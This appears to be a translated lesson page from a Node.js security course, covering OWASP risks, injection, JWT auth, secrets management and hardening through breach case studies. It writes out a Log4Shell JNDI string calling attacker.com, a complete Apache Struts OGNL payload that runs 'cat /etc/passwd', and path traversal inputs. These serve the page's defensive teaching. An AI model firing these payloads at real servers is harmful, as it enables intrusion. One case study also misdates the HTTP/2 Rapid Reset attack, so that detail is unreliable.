Node.js Internals

Security Patterns: Node.js Security

In 2021, the company Colonial Pipeline (the largest fuel supplier in the USA) was attacked by the ransomware group DarkSide. The attackers gained access through a compromised VPN password (without MFA). In 6 days, they encrypted 100GB of data and demanded a $4.4 million ransom. The company paid, but it caused panic: gas stations closed, fuel prices rose by 20%, and emergency alerts were declared. And all this because of one weak password. Security is not an optional feature; it is the foundation of an application.

  • **Equifax (2017):** 147 million records stolen through an Apache Struts vulnerability (patch was available 2 months prior). Cost to the company: $1.4 billion in settlements, reputational collapse.
  • **npm event-stream (2018):** Malicious code in a popular library was stealing Bitcoin keys. 2 million downloads/week, no one checked the dependency code.
  • **SolarWinds (2020):** Supply chain attack through a compromised build process. Malicious code was included in an official update, affecting 18,000 companies including the US government.
  • **Log4Shell (2021):** Zero-day in Log4j (Java logging library). Millions of servers are vulnerable, simple exploitation: `${jndi:ldap://attacker.com/a}` in user-agent. The fix took months because Log4j is used everywhere.

OWASP Top 10 & Threat Model

Imagine that you have built a fortress (your Node.js application), but forgot to close the back door. Attackers don't need to break down the walls - they will simply enter through the open door. This is exactly how most attacks on web applications work: not through complex 0-day exploits, but through trivial developer mistakes.

**OWASP Top 10** is a list of the most common web application vulnerabilities, updated every 3-4 years. For Node.js, the critical ones are: **Injection** (SQL, NoSQL, Command), **Broken Authentication**, **Sensitive Data Exposure**, **Security Misconfiguration**, and **Using Components with Known Vulnerabilities**.

**Threat Model** is a systematic approach to security: *Who* can attack? *What* do they want to obtain? *How* will they attack? For each API endpoint, ask yourself: what if the user sends `userId: "../../../etc/passwd"`? What if in the JWT token `role: "admin"`? This kind of thinking prevents 90% of vulnerabilities.

Real Case: Attack on an npm Library

**2018:** The `event-stream` package (2 million downloads/week) was compromised. The maintainer transferred rights to a new developer, who added the `flatmap-stream` dependency with malicious code. The code stole private Bitcoin wallet keys from environment variables. **Why it worked:** - No one checked changes in dependencies - Secrets were stored in `process.env` without encryption - There was no audit process for critical dependencies **Lesson:** 1) Use `npm audit` and Snyk to check dependencies 2) Store secrets in Vault/Secrets Manager 3) Minimize dependencies (fewer dependencies = smaller attack surface).

**Principle of Least Privilege:** Each system component should have the minimum set of rights necessary for operation. A database for a web application SHOULD NOT have DROP TABLE rights. A JWT token SHOULD NOT contain all user data. An API key for sending emails SHOULD NOT have the rights to read emails.

You have an endpoint `GET /api/files/:filename` for downloading user files. Code: `res.sendFile(path.join(__dirname, 'uploads', req.params.filename))`. What is the main vulnerability?

Injection Attacks

**Injection** is an attack where an attacker injects code into user input, and your application executes this code. The three most dangerous types for Node.js are: **SQL Injection** (classic), **NoSQL Injection** (MongoDB, Redis), **Command Injection** (exec, spawn). They all work on the same principle: you trust user input and do not escape it.

**Path Traversal** - a specific case of injection. The attacker uses `..` to go beyond the allowed directory. Example: `GET /files?name=../../../../etc/passwd`. **Protection:** 1) Path validation (prohibit `.`, `/`, `\`) 2) Use `path.resolve()` + check that the final path is within the base directory 3) Whitelist of allowed files.

Real Case: Equifax Data Breach (2017)

**Equifax** (a US credit bureau) lost data of 147 million people due to a vulnerability in Apache Struts (Java framework). Attackers used **OGNL Injection** (similar to eval() for Java) in the Content-Type header. **How it worked:** ``` Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ``` **Lesson:** 1) Update dependencies (a patch was available 2 months before the attack) 2) Use WAF to block suspicious headers 3) Minimize data (why store SSN of 147 million people in one database?).

**NEVER use eval(), Function(), vm.runInNewContext() with user input!** Even with a sandbox, it is dangerous. There are dozens of ways to escape the sandbox (prototype pollution, process.binding, require.cache). If you need to execute dynamic code, use a DSL (Domain-Specific Language) with a parser and interpreter that controls all operations.

You are using MongoDB and want to find users by email. What code is SAFE from NoSQL injection?

Authentication & Authorization

**Authentication (AuthN)** - is *"who are you?"* (identity verification). **Authorization (AuthZ)** - is *"what are you allowed to do?"* (rights verification). A classic mistake: implementing good authentication (JWT, OAuth) but forgetting about authorization - the user is logged in but can do anything.

**JWT (JSON Web Token)** - a standard for stateless authentication. The token contains a payload (userId, role, exp) + a signature (HMAC SHA256 or RSA). The server does not store sessions - it simply verifies the signature. Ideal for microservices and mobile applications. **Session-based** - the server stores sessions in memory/Redis, the client only receives a session ID. Advantage: a session can be revoked instantly. Disadvantage: scaling is more difficult (shared storage is needed).

**Refresh Token Rotation:** When refreshing the access token, issue a new refresh token and invalidate the old one. This protects against refresh token theft - an attacker will only be able to use it once, after which the legitimate user will receive an error, and you will understand that the token is compromised.

**CSRF (Cross-Site Request Forgery):** If you use cookies for auth, be sure to protect against CSRF through: 1) `SameSite=Strict` cookie attribute 2) CSRF tokens (generate a random token, store it in session, require it in POST requests) 3) Check the `Origin`/`Referer` header. JWT in the `Authorization` header is not susceptible to CSRF, but store the refresh token in an httpOnly cookie.

Real Case: JWT Secret in GitHub

**2019:** A developer accidentally committed a `.env` file with `JWT_SECRET` to a public GitHub repository. Attackers found it through GitHub search, generated JWT tokens with `role: 'admin'`, and gained full access to the system. **Why it worked:** - The JWT secret was weak (16 characters) - There was no monitoring of suspicious activity - There was no rate limiting on critical operations **Lesson:** 1) NEVER commit `.env` 2) Use git-secrets / gitleaks for checking 3) Store secrets in Vault/Secrets Manager 4) Rotate secrets regularly (and immediately upon compromise) 5) Use monitoring (alert when a new admin user is created).

The user sends a JWT token with the payload: `{"userId": 123, "role": "user"}`. An attacker intercepted the token, changed the role to "admin" and recalculated the signature using the RSA public key. Will they be able to obtain admin rights?

Secrets Management

**Secrets** are data whose compromise gives an attacker access to the system: API keys, JWT secrets, private keys, database passwords, AWS/GCP credentials. The golden rule: **NEVER store secrets in code, in git, or in production server environment variables without encryption**.

**Environment Variables** - minimal level of protection for development. In production, use **Secrets Manager** (AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault, Azure Key Vault). They provide: encryption at rest and in transit, secret rotation, audit log (who and when accessed the secret), granular access control.

**Secrets Rotation:** Change critical secrets regularly (JWT secret - every 90 days, API keys - when a developer changes, DB passwords - every 30 days for production). When rotating the JWT secret, use a grace period: verify tokens with both the old and new key for 24 hours to avoid logging out all users instantly.

Real Case: AWS Keys in a Docker Image

**Year 2020:** The company built a Docker image with `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` in ENV variables. The image was uploaded to the public Docker Hub. Within 2 hours, attackers: 1. Downloaded the image: `docker pull company/app:latest` 2. Extracted env vars: `docker inspect company/app:latest` 3. Gained access to the AWS account 4. Launched 100 EC2 instances for cryptocurrency mining 5. Monthly bill: $50,000 **Why it worked:** - AWS credentials in the Docker image - No AWS budget alerts - No MFA on critical operations (launch EC2) **Lesson:** 1) NEVER store credentials in Docker images 2) Use IAM roles for EC2/ECS (credentials are temporary, rotate automatically) 3) Set up billing alerts in AWS 4) Enable CloudTrail for auditing.

**Logging Secrets:** Ensure that secrets do NOT end up in logs. Common mistakes: `console.log(req.headers)` (contains Authorization header), `logger.error(error.stack)` (may contain env vars), logging all query params (could be `?api_key=...`). Use redaction in the logger (Winston, Pino) to mask sensitive fields.

You store JWT_SECRET in AWS Secrets Manager. How should an application on EC2 securely retrieve this secret?

Hardening the application

**Hardening** is a set of measures that reduce the attack surface of your application. Even if there are no obvious vulnerabilities in your code, incorrect configuration can give attackers access. The main tools for Node.js: **Helmet.js** (security headers), **Rate Limiting** (protection against brute-force and DDoS), **CORS** (control of cross-origin requests), **CSP** (Content Security Policy).

**Defense in Depth:** Do not rely on a single level of protection. Combine: 1) Firewall + WAF (network) 2) Rate limiting + CORS (HTTP) 3) Input validation + Parameterized queries (application) 4) RBAC + Audit logs (business logic) 5) Monitoring + Alerts (attack detection). If an attacker bypasses one layer, the next will stop them.

Real Case: Cloudflare DDoS Attack (2022)

**2022:** Cloudflare mitigated a record DDoS attack - 26 million requests per second. The attack used amplification through HTTP/2 Rapid Reset (CVE-2023-44487). **How it worked:** 1. The attacker opens an HTTP/2 connection 2. Sends a HEADERS frame (initiates a request) 3. Immediately sends RST_STREAM (cancels the request) 4. The server has already spent resources processing the headers 5. Repeats millions of times **Why it worked:** - Vulnerability in the HTTP/2 specification - Lack of rate limiting at the protocol frames level - Servers did not detect the anomalous pattern (high RST_STREAM rate) **Lesson:** 1) Rate limiting at ALL levels (not only HTTP requests, but also TCP connections, protocol frames) 2) Anomaly detection (alert on atypical behavior) 3) Use CDN/WAF (Cloudflare, AWS Shield) for DDoS protection.

**Do not rely solely on client-side validation!** An attacker can send a request directly via curl/Postman, bypassing your frontend. ALWAYS validate data on the server. Client-side validation is for UX, server-side is for security.

**Security Checklist for Production:** ✅ HTTPS only (HSTS enabled) ✅ Helmet.js with CSP ✅ Rate limiting (global + per-endpoint) ✅ CORS configured (whitelist origins) ✅ Secrets in Secrets Manager (not in .env) ✅ JWT with short expiry (15 min access, 7 days refresh) ✅ Input validation (Zod/Joi) on all endpoints ✅ Prepared statements / ORM (protection against injection) ✅ RBAC/ABAC for authorization ✅ npm audit in CI/CD ✅ Logging (Winston) + Monitoring (Sentry) ✅ Regular security audits ✅ Dependency updates (Renovate Bot)

HTTPS automatically protects against all attacks

HTTPS only encrypts transport, but does not protect against XSS, SQL injection, CSRF, or other application vulnerabilities.

HTTPS (TLS) ensures the confidentiality and integrity of data between the client and server - an attacker cannot read or modify data in transit. But HTTPS does NOT protect against: 1) SQL injection (vulnerability in code) 2) XSS (execution of malicious JS in the browser) 3) CSRF (forging requests on behalf of the user) 4) Path traversal 5) Broken authentication. HTTPS is just one layer of protection. Even with HTTPS, all other measures are needed: validation, CSP, rate limiting, etc.

Key Ideas

  • **OWASP Top 10** - your security checklist. Injection, Broken Auth, Sensitive Data Exposure, Security Misconfiguration - these are 80% of vulnerabilities. Threat model: for each endpoint, ask "what if the user is malicious?"
  • **Injection (SQL/NoSQL/Command/Path)** - NEVER concatenate user input into queries/commands. Use: prepared statements, ORM, type validation (Zod), execFile instead of exec, path.resolve + range checking.
  • **Authentication & Authorization** - these are two different levels. JWT for stateless auth (short access + long refresh token), Sessions for stateful. RBAC/ABAC for access rights. OAuth 2.0 for delegated authorization. Protection against CSRF through SameSite cookies + CSRF tokens.
  • **Secrets Management** - NEVER in code/git. Development: .env + validation. Production: AWS Secrets Manager / Vault. Generation: crypto.randomBytes(32). Rotation: every 90 days for JWT, immediately upon compromise. IAM roles instead of long-lived credentials.
  • **Hardening** - layered defense. Helmet.js (CSP, HSTS, X-Frame-Options), Rate Limiting (brute-force + DDoS), CORS (whitelist origins), npm audit (vulnerable dependencies), Monitoring (attack detection). HTTPS - only the first layer, not a panacea.

Related topics

Security is not an isolated topic, but part of the application architecture:

  • Crypto Module — Used for password hashing (bcrypt, scrypt), generating JWT secrets, data encryption (AES-256-GCM), creating HMAC signatures
  • HTTP/2 & HTTP/3 — Modern protocols enhance security (TLS 1.3 is mandatory), but introduce new vulnerabilities (HTTP/2 Rapid Reset DDoS).
  • Error Handling — Proper error handling prevents information leakage (stack traces with paths, environment variables, SQL queries)
  • Production Patterns — Monitoring (Winston, Sentry), Health checks, Graceful shutdown, Process managers - critical for security in production.

Вопросы для размышления

  • What are the three most critical vulnerabilities in your current project? How can they be addressed in the next 48 hours?
  • If your GitHub repository becomes public tomorrow, what secrets will be leaked? How can you rewrite the architecture so that this is not a problem?
  • Imagine that an attacker has gained access to your database (SQL injection). What data will they be able to read? How can you minimize the damage through encryption and least privilege?
  • If your JWT secret is compromised, how long will rotation take? Can you do it without downtime and mass logout of users?
  • How do you know that your application is being attacked right now? What metrics/alerts are configured? What should you do in the first 5 minutes after detecting an attack?

Связанные уроки

  • sec-01
Security Patterns: Node.js Security

0

1

Sign In

Your application received an HTTP request with the header: `Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'`. What vulnerability does this create?